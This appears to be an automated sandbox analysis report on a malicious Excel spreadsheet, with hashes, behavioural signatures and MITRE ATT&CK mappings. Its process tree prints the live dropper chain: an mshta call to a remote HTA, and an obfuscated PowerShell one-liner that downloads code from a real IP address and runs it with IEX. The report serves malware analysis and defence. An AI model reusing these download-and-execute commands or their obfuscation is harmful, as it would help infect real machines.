9d2401a423a2a0b8a9f043e8f679ea33f1f49b39d2aa20e7c8f1afcd6054b3f3

Analysis

max time kernel
165s
max time network
177s
platform
windows10_x64
resource
win10-en-20211208
submitted
28/01/2022, 15:04

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General

Target
tmph6b57kjs.xls
Size 89KB
Sample220128-sflvdafed6
SHA256 9d2401a423a2a0b8a9f043e8f679ea33f1f49b39d2aa20e7c8f1afcd6054b3f3
MD5 a3db48334ea345b680b3d0671d824835
SHA1 7c85bc57bd7617b1b46851859382e1dd20c904c7
SHA512 5817797865f0f400fff0735d20388dd04401b4d39b09e69af6a6a2f331329ec3a075ae1ff0f438d15e5cfaff0a5e20c6221a66901cc8aa0104787535a5598a45
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://91.240.118.172/ee/ss/se.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://91.240.118.172/ee/ss/se.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	432	4028	cmd.exe	68

Blocklisted process makes network request 1 IoCs

flow	pid	Process
46	1052	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2440	1052	WerFault.exe	78

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4028	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4092	powershell.exe
4092	powershell.exe
4092	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4092	powershell.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
4028	EXCEL.EXE
4028	EXCEL.EXE
4028	EXCEL.EXE
4028	EXCEL.EXE
4028	EXCEL.EXE
4028	EXCEL.EXE
4028	EXCEL.EXE
4028	EXCEL.EXE
4028	EXCEL.EXE
4028	EXCEL.EXE
4028	EXCEL.EXE
4028	EXCEL.EXE
4028	EXCEL.EXE
4028	EXCEL.EXE

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4028 wrote to memory of 432	4028	EXCEL.EXE	74
PID 4028 wrote to memory of 432	4028	EXCEL.EXE	74
PID 432 wrote to memory of 3856	432	cmd.exe	77
PID 432 wrote to memory of 3856	432	cmd.exe	77
PID 432 wrote to memory of 368	432	cmd.exe	76
PID 432 wrote to memory of 368	432	cmd.exe	76
PID 368 wrote to memory of 1052	368	cmd.exe	78
PID 368 wrote to memory of 1052	368	cmd.exe	78
PID 1052 wrote to memory of 4092	1052	mshta.exe	80
PID 1052 wrote to memory of 4092	1052	mshta.exe	80

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmph6b57kjs.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4028
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c set ooo=mshta http://91.240.118.172/ee/ss/se.html & echo %ooo% | cmd
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:432
- - C:\Windows\system32\cmd.exe
    cmd
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:368
  - - C:\Windows\system32\mshta.exe
      mshta http://91.240.118.172/ee/ss/se.html
      4⤵
      Blocklisted process makes network request
      Suspicious use of WriteProcessMemory
      PID:1052
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FutuReD}{FutuReD}Ne{FutuReD}{FutuReD}w{FutuReD}-Obj{FutuReD}ec{FutuReD}{FutuReD}t N{FutuReD}{FutuReD}et{FutuReD}.W{FutuReD}{FutuReD}e'.replace('{FutuReD}', ''); $c4='bC{FutuReD}li{FutuReD}{FutuReD}en{FutuReD}{FutuReD}t).D{FutuReD}{FutuReD}ow{FutuReD}{FutuReD}nl{FutuReD}{FutuReD}{FutuReD}o'.replace('{FutuReD}', ''); $c3='ad{FutuReD}{FutuReD}St{FutuReD}rin{FutuReD}{FutuReD}g{FutuReD}(''ht{FutuReD}tp{FutuReD}://91.240.118.172/ee/ss/se.png'')'.replace('{FutuReD}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4092
    - - C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 1052 -s 1644
        5⤵
        Program crash
        
        PID:2440
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo %ooo% "
    3⤵
    PID:3856

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/4028-318-0x00007FFDEE7B0000-0x00007FFDEE7C0000-memory.dmp

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memory/4028-316-0x00007FFDEE7B0000-0x00007FFDEE7C0000-memory.dmp

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memory/4028-117-0x00007FFDEE7B0000-0x00007FFDEE7C0000-memory.dmp

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memory/4028-118-0x00007FFDEE7B0000-0x00007FFDEE7C0000-memory.dmp

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memory/4028-119-0x00007FFDEE7B0000-0x00007FFDEE7C0000-memory.dmp

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memory/4028-128-0x00007FFDEBBB0000-0x00007FFDEBBC0000-memory.dmp

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memory/4028-116-0x00007FFDEE7B0000-0x00007FFDEE7C0000-memory.dmp

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memory/4028-319-0x00007FFDEE7B0000-0x00007FFDEE7C0000-memory.dmp

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memory/4028-115-0x00007FFDEE7B0000-0x00007FFDEE7C0000-memory.dmp

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memory/4028-317-0x00007FFDEE7B0000-0x00007FFDEE7C0000-memory.dmp

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memory/4028-129-0x00007FFDEBBB0000-0x00007FFDEBBC0000-memory.dmp

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memory/4092-296-0x0000029576840000-0x0000029576862000-memory.dmp

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memory/4092-301-0x0000029574920000-0x0000029574950000-memory.dmp

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memory/4092-302-0x0000029574920000-0x0000029574950000-memory.dmp

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memory/4092-322-0x00000295769C0000-0x00000295769FC000-memory.dmp

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memory/4092-334-0x0000029576F10000-0x0000029576F86000-memory.dmp

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